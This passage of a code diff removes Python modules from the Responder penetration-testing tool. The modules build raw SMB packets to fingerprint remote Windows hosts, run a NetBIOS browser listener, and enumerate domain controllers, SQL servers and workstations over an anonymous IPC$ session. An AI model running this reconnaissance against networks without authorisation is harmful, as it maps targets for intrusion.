length = struct.unpack('<H',data[43:45])[0]
|
||||
pack = tuple(data[47+length:].split('\x00\x00\x00'))[:2]
|
||||
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
|
||||
return OsVersion, ClientVersion
|
||||
|
||||
except:
|
||||
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
|
||||
|
||||
def RunSmbFinger(host):
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect(host)
|
||||
s.settimeout(0.7)
|
||||
|
||||
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
|
||||
n = SMBNego(data = SMBNegoFingerData())
|
||||
n.calculate()
|
||||
|
||||
Packet = str(h)+str(n)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
s.send(Buffer)
|
||||
data = s.recv(2048)
|
||||
|
||||
if data[8:10] == "\x72\x00":
|
||||
Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
|
||||
Body = SMBSessionFingerData()
|
||||
Body.calculate()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
|
||||
s.send(Buffer)
|
||||
data = s.recv(2048)
|
||||
|
||||
if data[8:10] == "\x73\x16":
|
||||
return OsNameClientVersion(data)
|
||||
except:
|
||||
print color("[!] ", 1, 1) +" Fingerprint failed"
|
||||
return None
|
|
@ -1,121 +0,0 @@
|
|||
#! /usr/bin/env python
|
||||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import re,sys,socket,struct,string
|
||||
from socket import *
|
||||
from ..odict import OrderedDict
|
||||
from ..packet import Packet
|
||||
|
||||
def longueur(payload):
|
||||
length = struct.pack(">i", len(''.join(payload)))
|
||||
return length
|
||||
|
||||
class SMBHeader(Packet):
|
||||
fields = OrderedDict([
|
||||
("proto", "\xff\x53\x4d\x42"),
|
||||
("cmd", "\x72"),
|
||||
("error-code", "\x00\x00\x00\x00" ),
|
||||
("flag1", "\x00"),
|
||||
("flag2", "\x00\x00"),
|
||||
("pidhigh", "\x00\x00"),
|
||||
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("reserved", "\x00\x00"),
|
||||
("tid", "\x00\x00"),
|
||||
("pid", "\x00\x00"),
|
||||
("uid", "\x00\x00"),
|
||||
("mid", "\x00\x00"),
|
||||
])
|
||||
|
||||
class SMBNego(Packet):
|
||||
fields = OrderedDict([
|
||||
("wordcount", "\x00"),
|
||||
("bcc", "\x62\x00"),
|
||||
("data", "")
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["bcc"] = struct.pack("<h",len(str(self.fields["data"])))
|
||||
|
||||
class SMBNegoData(Packet):
|
||||
fields = OrderedDict([
|
||||
("separator1","\x02" ),
|
||||
("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
|
||||
("separator2","\x02"),
|
||||
("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
|
||||
("separator3","\x02"),
|
||||
("dialect3", "\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00"),
|
||||
("separator4","\x02"),
|
||||
("dialect4", "\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
|
||||
("separator5","\x02"),
|
||||
("dialect5", "\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
|
||||
("separator6","\x02"),
|
||||
("dialect6", "\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
|
||||
])
|
||||
|
||||
class SMBSessionFingerData(Packet):
|
||||
fields = OrderedDict([
|
||||
("wordcount", "\x0c"),
|
||||
("AndXCommand", "\xff"),
|
||||
("reserved","\x00" ),
|
||||
("andxoffset", "\x00\x00"),
|
||||
("maxbuff","\x04\x11"),
|
||||
("maxmpx", "\x32\x00"),
|
||||
("vcnum","\x00\x00"),
|
||||
("sessionkey", "\x00\x00\x00\x00"),
|
||||
("securitybloblength","\x4a\x00"),
|
||||
("reserved2","\x00\x00\x00\x00"),
|
||||
("capabilities", "\xd4\x00\x00\xa0"),
|
||||
("bcc1",""),
|
||||
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
|
||||
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
|
||||
|
||||
|
||||
def OsNameClientVersion(data):
|
||||
try:
|
||||
lenght = struct.unpack('<H',data[43:45])[0]
|
||||
pack = tuple(data[47+lenght:].split('\x00\x00\x00'))[:2]
|
||||
var = [e.replace('\x00','') for e in data[47+lenght:].split('\x00\x00\x00')[:2]]
|
||||
OsVersion, ClientVersion = tuple(var)
|
||||
return OsVersion, ClientVersion
|
||||
except:
|
||||
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
|
||||
|
||||
def RunSmbFinger(host):
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
s.connect(host)
|
||||
s.settimeout(0.7)
|
||||
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
|
||||
n = SMBNego(data = SMBNegoData())
|
||||
n.calculate()
|
||||
packet0 = str(h)+str(n)
|
||||
buffer0 = longueur(packet0)+packet0
|
||||
s.send(buffer0)
|
||||
data = s.recv(2048)
|
||||
if data[8:10] == "\x72\x00":
|
||||
head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
|
||||
t = SMBSessionFingerData()
|
||||
t.calculate()
|
||||
final = t
|
||||
packet0 = str(head)+str(final)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
if data[8:10] == "\x73\x16":
|
||||
return OsNameClientVersion(data)
|
|
@ -1,132 +0,0 @@
|
|||
#! /usr/bin/env python
|
||||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import re,socket,struct
|
||||
from socket import *
|
||||
from odict import OrderedDict
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
("data", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
def longueur(payload):
|
||||
length = struct.pack(">i", len(''.join(payload)))
|
||||
return length
|
||||
|
||||
class SMBHeader(Packet):
|
||||
fields = OrderedDict([
|
||||
("proto", "\xff\x53\x4d\x42"),
|
||||
("cmd", "\x72"),
|
||||
("error-code", "\x00\x00\x00\x00" ),
|
||||
("flag1", "\x00"),
|
||||
("flag2", "\x00\x00"),
|
||||
("pidhigh", "\x00\x00"),
|
||||
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("reserved", "\x00\x00"),
|
||||
("tid", "\x00\x00"),
|
||||
("pid", "\x00\x00"),
|
||||
("uid", "\x00\x00"),
|
||||
("mid", "\x00\x00"),
|
||||
])
|
||||
|
||||
class SMBNego(Packet):
|
||||
fields = OrderedDict([
|
||||
("wordcount", "\x00"),
|
||||
("bcc", "\x62\x00"),
|
||||
("data", "")
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["bcc"] = struct.pack("<h",len(str(self.fields["data"])))
|
||||
|
||||
class SMBNegoData(Packet):
|
||||
fields = OrderedDict([
|
||||
("separator1","\x02" ),
|
||||
("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
|
||||
("separator2","\x02"),
|
||||
("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
|
||||
("separator3","\x02"),
|
||||
("dialect3", "\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00"),
|
||||
("separator4","\x02"),
|
||||
("dialect4", "\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
|
||||
("separator5","\x02"),
|
||||
("dialect5", "\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
|
||||
("separator6","\x02"),
|
||||
("dialect6", "\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
|
||||
])
|
||||
|
||||
class SMBSessionFingerData(Packet):
|
||||
fields = OrderedDict([
|
||||
("wordcount", "\x0c"),
|
||||
("AndXCommand", "\xff"),
|
||||
("reserved","\x00" ),
|
||||
("andxoffset", "\x00\x00"),
|
||||
("maxbuff","\x04\x11"),
|
||||
("maxmpx", "\x32\x00"),
|
||||
("vcnum","\x00\x00"),
|
||||
("sessionkey", "\x00\x00\x00\x00"),
|
||||
("securitybloblength","\x4a\x00"),
|
||||
("reserved2","\x00\x00\x00\x00"),
|
||||
("capabilities", "\xd4\x00\x00\xa0"),
|
||||
("bcc1",""),
|
||||
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
|
||||
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
|
||||
|
||||
|
||||
def OsNameClientVersion(data):
|
||||
lenght = struct.unpack('<H',data[43:45])[0]
|
||||
pack = tuple(data[47+lenght:].split('\x00\x00\x00'))[:2]
|
||||
var = [e.replace('\x00','') for e in data[47+lenght:].split('\x00\x00\x00')[:2]]
|
||||
OsVersion = tuple(var)[0]
|
||||
return OsVersion
|
||||
|
||||
|
||||
def RunSmbFinger(host):
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
s.connect(host)
|
||||
s.settimeout(0.7)
|
||||
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
|
||||
n = SMBNego(data = SMBNegoData())
|
||||
n.calculate()
|
||||
packet0 = str(h)+str(n)
|
||||
buffer0 = longueur(packet0)+packet0
|
||||
s.send(buffer0)
|
||||
data = s.recv(2048)
|
||||
if data[8:10] == "\x72\x00":
|
||||
head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
|
||||
t = SMBSessionFingerData()
|
||||
t.calculate()
|
||||
final = t
|
||||
packet0 = str(head)+str(final)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
if data[8:10] == "\x73\x16":
|
||||
return OsNameClientVersion(data)
|
|
@ -1,236 +0,0 @@
|
|||
import socket
|
||||
import threading
|
||||
import struct
|
||||
import logging
|
||||
import string
|
||||
|
||||
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from core.responder.fingerprinter.RAPLANMANPackets import *
|
||||
from core.logger import logger
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [LANfingerprinter] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("LANfingerprinter", formatter)
|
||||
|
||||
class LANfingerprinter():
|
||||
|
||||
def start(self, options):
|
||||
|
||||
global args; args = options
|
||||
|
||||
try:
|
||||
log.debug("online")
|
||||
server = ThreadingUDPServer(("0.0.0.0", 138), Browser)
|
||||
t = threading.Thread(name="LANfingerprinter", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception as e:
|
||||
log.error("Error starting on port 138: {}:".format(e))
|
||||
|
||||
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
UDPServer.server_bind(self)
|
||||
|
||||
class Browser(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
request, socket = self.request
|
||||
if args.analyze:
|
||||
ParseDatagramNBTNames(request,self.client_address[0])
|
||||
BecomeBackup(request,self.client_address[0])
|
||||
BecomeBackup(request,self.client_address[0])
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def NBT_NS_Role(data):
|
||||
Role = {
|
||||
"\x41\x41\x00":"Workstation/Redirector Service.",
|
||||
"\x42\x4c\x00":"Domain Master Browser. This name is likely a domain controller or a homegroup.)",
|
||||
"\x42\x4d\x00":"Domain controller service. This name is a domain controller.",
|
||||
"\x42\x4e\x00":"Local Master Browser.",
|
||||
"\x42\x4f\x00":"Browser Election Service.",
|
||||
"\x43\x41\x00":"File Server Service.",
|
||||
"\x41\x42\x00":"Browser Service.",
|
||||
}
|
||||
|
||||
if data in Role:
|
||||
return Role[data]
|
||||
else:
|
||||
return "Service not known."
|
||||
|
||||
def Decode_Name(nbname):
|
||||
#From http://code.google.com/p/dpkt/ with author's permission.
|
||||
try:
|
||||
if len(nbname) != 32:
|
||||
return nbname
|
||||
l = []
|
||||
for i in range(0, 32, 2):
|
||||
l.append(chr(((ord(nbname[i]) - 0x41) << 4) |
|
||||
((ord(nbname[i+1]) - 0x41) & 0xf)))
|
||||
return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
|
||||
except Exception as e:
|
||||
log.debug("Error parsing NetBIOS name: {}".format(e))
|
||||
return "Illegal NetBIOS name"
|
||||
|
||||
def WorkstationFingerPrint(data):
|
||||
Role = {
|
||||
"\x04\x00" :"Windows 95",
|
||||
"\x04\x10" :"Windows 98",
|
||||
"\x04\x90" :"Windows ME",
|
||||
"\x05\x00" :"Windows 2000",
|
||||
"\x05\x00" :"Windows XP",
|
||||
"\x05\x02" :"Windows 2003",
|
||||
"\x06\x00" :"Windows Vista/Server 2008",
|
||||
"\x06\x01" :"Windows 7/Server 2008R2",
|
||||
}
|
||||
|
||||
if data in Role:
|
||||
return Role[data]
|
||||
else:
|
||||
return False
|
||||
|
||||
def PrintServerName(data, entries):
|
||||
if entries == 0:
|
||||
pass
|
||||
else:
|
||||
entrieslen = 26*entries
|
||||
chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries
|
||||
ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size) ]
|
||||
l =[]
|
||||
for x in ServerName:
|
||||
if WorkstationFingerPrint(x[16:18]):
|
||||
l.append(x[:16].replace('\x00', '')+'| OS:%s'%(WorkstationFingerPrint(x[16:18])))
|
||||
else:
|
||||
l.append(x[:16].replace('\x00', ''))
|
||||
|
||||
return l
|
||||
|
||||
def ParsePacket(Payload):
|
||||
PayloadOffset = struct.unpack('<H',Payload[51:53])[0]
|
||||
StatusCode = Payload[PayloadOffset-4:PayloadOffset-2]
|
||||
if StatusCode == "\x00\x00":
|
||||
EntriesNum = struct.unpack('<H',Payload[PayloadOffset:PayloadOffset+2])[0]
|
||||
ParsedNames = PrintServerName(Payload[PayloadOffset+4:], EntriesNum)
|
||||
return ParsedNames
|
||||
else:
|
||||
return None
|
||||
|
||||
def RAPThisDomain(Client,Domain):
|
||||
try:
|
||||
l =[]
|
||||
for x in range(1):
|
||||
PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80")
|
||||
if PDC is not None:
|
||||
l.append('[LANFingerprinter]')
|
||||
l.append('Domain detected on this network:')
|
||||
for x in PDC:
|
||||
l.append(' -'+x)
|
||||
SQL = RapFinger(Client,Domain,"\x04\x00\x00\x00")
|
||||
if SQL is not None:
|
||||
l.append('SQL Server detected on Domain {}:'.format(Domain))
|
||||
for x in SQL:
|
||||
l.append(' -'+x)
|
||||
WKST = RapFinger(Client,Domain,"\xff\xff\xff\xff")
|
||||
if WKST is not None:
|
||||
l.append('Workstations/Servers detected on Domain {}:'.format(Domain))
|
||||
for x in WKST:
|
||||
l.append(' -'+x)
|
||||
else:
|
||||
pass
|
||||
return '\n'.join(l)
|
||||
except:
|
||||
pass
|
||||
|
||||
def RapFinger(Host,Domain, Type):
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((Host,445))
|
||||
s.settimeout(0.3)
|
||||
h = SMBHeader(cmd="\x72",mid="\x01\x00")
|
||||
n = SMBNegoData()
|
||||
n.calculate()
|
||||
packet0 = str(h)+str(n)
|
||||
buffer0 = longueur(packet0)+packet0
|
||||
s.send(buffer0)
|
||||
data = s.recv(1024)
|
||||
##Session Setup AndX Request, Anonymous.
|
||||
if data[8:10] == "\x72\x00":
|
||||
head = SMBHeader(cmd="\x73",mid="\x02\x00")
|
||||
t = SMBSessionData()
|
||||
t.calculate()
|
||||
final = t
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
s.send(buffer1)
|
||||
data = s.recv(1024)
|
||||
##Tree Connect IPC$.
|
||||
if data[8:10] == "\x73\x00":
|
||||
head = SMBHeader(cmd="\x75",flag1="\x08", flag2="\x01\x00",uid=data[32:34],mid="\x03\x00")
|
||||
t = SMBTreeConnectData(Path="\\\\"+Host+"\\IPC$")
|
||||
t.calculate()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
s.send(buffer1)
|
||||
data = s.recv(1024)
|
||||
##Rap ServerEnum.
|
||||
if data[8:10] == "\x75\x00":
|
||||
head = SMBHeader(cmd="\x25",flag1="\x08", flag2="\x01\xc8",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x04\x00")
|
||||
t = SMBTransRAPData(Data=RAPNetServerEnum3Data(ServerType=Type,DetailLevel="\x01\x00",TargetDomain=Domain))
|
||||
t.calculate()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
s.send(buffer1)
|
||||
data = s.recv(64736)
|
||||
##Rap ServerEnum, Get answer and return what we're looking for.
|
||||
if data[8:10] == "\x25\x00":
|
||||
s.close()
|
||||
return ParsePacket(data)
|
||||
except:
|
||||
return None
|
||||
|
||||
def BecomeBackup(data, Client):
|
||||
try:
|
||||
DataOffset = struct.unpack('<H',data[139:141])[0]
|
||||
BrowserPacket = data[82+DataOffset:]
|
||||
if BrowserPacket[0] == "\x0b":
|
||||
ServerName = BrowserPacket[1:]
|
||||
Domain = Decode_Name(data[49:81])
|
||||
Name = Decode_Name(data[15:47])
|
||||
Role = NBT_NS_Role(data[45:48])
|
||||
if args.analyze:
|
||||
Message1=RAPThisDomain(Client,Domain)
|
||||
log.warning(Message1)
|
||||
log.warning("Datagram Request from {} | Hostname: {} via the {} wants to become a Local Master Browser Backup on this domain: {}.".format(Client, Name,Role,Domain))
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
try:
|
||||
Domain = Decode_Name(data[49:81])
|
||||
Name = Decode_Name(data[15:47])
|
||||
Role1 = NBT_NS_Role(data[45:48])
|
||||
Role2 = NBT_NS_Role(data[79:82])
|
||||
if Role2 == "Domain controller service. This name is a domain controller." or Role2 == "Browser Election Service." or Role2 == "Local Master Browser.":
|
||||
if args.analyze:
|
||||
Message1=RAPThisDomain(Client,Domain)
|
||||
log.warning(Message1)
|
||||
log.warning('Datagram Request from: {} | Hostname: {} via the {} to {} | Service: {}'.format(Client, Name, Role1, Domain, Role2))
|
||||
except:
|
||||
pass
|
||||
|
||||
def ParseDatagramNBTNames(data,Client):
|
||||
try:
|
||||
Domain = Decode_Name(data[49:81])
|
||||
Name = Decode_Name(data[15:47])
|
||||
Role1 = NBT_NS_Role(data[45:48])
|
||||
Role2 = NBT_NS_Role(data[79:82])
|
||||
if Role2 == "Domain controller service. This name is a domain controller." or Role2 == "Browser Election Service." or Role2 == "Local Master Browser.":
|
||||
if args.analyze:
|
||||
Message1=RAPThisDomain(Client,Domain)
|
||||
log.warning(Message1)
|
||||
log.warning('Datagram Request from: {} | Hostname: {} via the {} to {} | Service: {}'.format(Client, Name, Role1, Domain, Role2))
|
||||
except:
|
||||
pass
|
|
@ -1,146 +0,0 @@
|
|||
import struct
|
||||
from core.responder.odict import OrderedDict
|
||||
from core.responder.packet import Packet
|
||||
|
||||
def longueur(payload):
|
||||
length = struct.pack(">i", len(''.join(payload)))
|
||||
return length
|
||||
|
||||
class SMBHeader(Packet):
|
||||
fields = OrderedDict([
|
||||
("proto", "\xff\x53\x4d\x42"),
|
||||
("cmd", "\x72"),
|
||||
("error-code", "\x00\x00\x00\x00" ),
|
||||
("flag1", "\x08"),
|
||||
("flag2", "\x01\x00"),
|
||||
("pidhigh", "\x00\x00"),
|
||||
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("reserved", "\x00\x00"),
|
||||
("tid", "\x00\x00"),
|
||||
("pid", "\x3c\x1b"),
|
||||
("uid", "\x00\x00"),
|
||||
("mid", "\x00\x00"),
|
||||
])
|
||||
|
||||
class SMBNegoData(Packet):
|
||||
fields = OrderedDict([
|
||||
("wordcount", "\x00"),
|
||||
("bcc", "\x54\x00"),
|
||||
("separator1","\x02" ),
|
||||
("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
|
||||
("separator2","\x02"),
|
||||
("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
|
||||
])
|
||||
def calculate(self):
|
||||
CalculateBCC = str(self.fields["separator1"])+str(self.fields["dialect1"])+str(self.fields["separator2"])+str(self.fields["dialect2"])
|
||||
self.fields["bcc"] = struct.pack("<h",len(CalculateBCC))
|
||||
|
||||
class SMBSessionData(Packet):
|
||||
fields = OrderedDict([
|
||||
("wordcount", "\x0a"),
|
||||
("AndXCommand", "\xff"),
|
||||
("reserved","\x00"),
|
||||
("andxoffset", "\x00\x00"),
|
||||
("maxbuff","\xff\xff"),
|
||||
("maxmpx", "\x02\x00"),
|
||||
("vcnum","\x01\x00"),
|
||||
("sessionkey", "\x00\x00\x00\x00"),
|
||||
("PasswordLen","\x18\x00"),
|
||||
("reserved2","\x00\x00\x00\x00"),
|
||||
("bcc","\x3b\x00"),
|
||||
("AccountPassword",""),
|
||||
("AccountName",""),
|
||||
("AccountNameTerminator","\x00"),
|
||||
("PrimaryDomain","WORKGROUP"),
|
||||
("PrimaryDomainTerminator","\x00"),
|
||||
("NativeOs","Unix"),
|
||||
("NativeOsTerminator","\x00"),
|
||||
("NativeLanman","Samba"),
|
||||
("NativeLanmanTerminator","\x00"),
|
||||
|
||||
])
|
||||
def calculate(self):
|
||||
CompleteBCC = str(self.fields["AccountPassword"])+str(self.fields["AccountName"])+str(self.fields["AccountNameTerminator"])+str(self.fields["PrimaryDomain"])+str(self.fields["PrimaryDomainTerminator"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLanman"])+str(self.fields["NativeLanmanTerminator"])
|
||||
self.fields["bcc"] = struct.pack("<h", len(CompleteBCC))
|
||||
self.fields["PasswordLen"] = struct.pack("<h", len(str(self.fields["AccountPassword"])))
|
||||
|
||||
class SMBTreeConnectData(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x04"),
|
||||
("AndXCommand", "\xff"),
|
||||
("Reserved","\x00" ),
|
||||
("Andxoffset", "\x00\x00"),
|
||||
("Flags","\x08\x00"),
|
||||
("PasswdLen", "\x01\x00"),
|
||||
("Bcc","\x1b\x00"),
|
||||
("Passwd", "\x00"),
|
||||
("Path",""),
|
||||
("PathTerminator","\x00"),
|
||||
("Service","?????"),
|
||||
("Terminator", "\x00"),
|
||||
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["PasswdLen"] = struct.pack("<h", len(str(self.fields["Passwd"])))[:2]
|
||||
BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
|
||||
self.fields["Bcc"] = struct.pack("<h", len(BccComplete))
|
||||
|
||||
class RAPNetServerEnum3Data(Packet):
|
||||
fields = OrderedDict([
|
||||
("Command", "\xd7\x00"),
|
||||
("ParamDescriptor", "WrLehDzz"),
|
||||
("ParamDescriptorTerminator", "\x00"),
|
||||
("ReturnDescriptor","B16BBDz"),
|
||||
("ReturnDescriptorTerminator", "\x00"),
|
||||
("DetailLevel", "\x01\x00"),
|
||||
("RecvBuff","\xff\xff"),
|
||||
("ServerType", "\x00\x00\x00\x80"),
|
||||
("TargetDomain","SMB"),
|
||||
("RapTerminator","\x00"),
|
||||
("TargetName","ABCD"),
|
||||
("RapTerminator2","\x00"),
|
||||
])
|
||||
|
||||
class SMBTransRAPData(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x0e"),
|
||||
("TotalParamCount", "\x24\x00"),
|
||||
("TotalDataCount","\x00\x00" ),
|
||||
("MaxParamCount", "\x08\x00"),
|
||||
("MaxDataCount","\xff\xff"),
|
||||
("MaxSetupCount", "\x00"),
|
||||
("Reserved","\x00\x00"),
|
||||
("Flags", "\x00"),
|
||||
("Timeout","\x00\x00\x00\x00"),
|
||||
("Reserved1","\x00\x00"),
|
||||
("ParamCount","\x24\x00"),
|
||||
("ParamOffset", "\x5a\x00"),
|
||||
("DataCount", "\x00\x00"),
|
||||
("DataOffset", "\x7e\x00"),
|
||||
("SetupCount", "\x00"),
|
||||
("Reserved2", "\x00"),
|
||||
("Bcc", "\x3f\x00"),
|
||||
("Terminator", "\x00"),
|
||||
("PipeName", "\\PIPE\\LANMAN"),
|
||||
("PipeTerminator","\x00\x00"),
|
||||
("Data", ""),
|
||||
|
||||
])
|
||||
def calculate(self):
|
||||
#Padding
|
||||
if len(str(self.fields["Data"]))%2==0:
|
||||
self.fields["PipeTerminator"] = "\x00\x00\x00\x00"
|
||||
else:
|
||||
self.fields["PipeTerminator"] = "\x00\x00\x00"
|
||||
##Convert Path to Unicode first before any Len calc.
|
||||
self.fields["PipeName"] = self.fields["PipeName"].encode('utf-16le')
|
||||
##Data Len
|
||||
self.fields["TotalParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
|
||||
self.fields["ParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
|
||||
##Packet len
|
||||
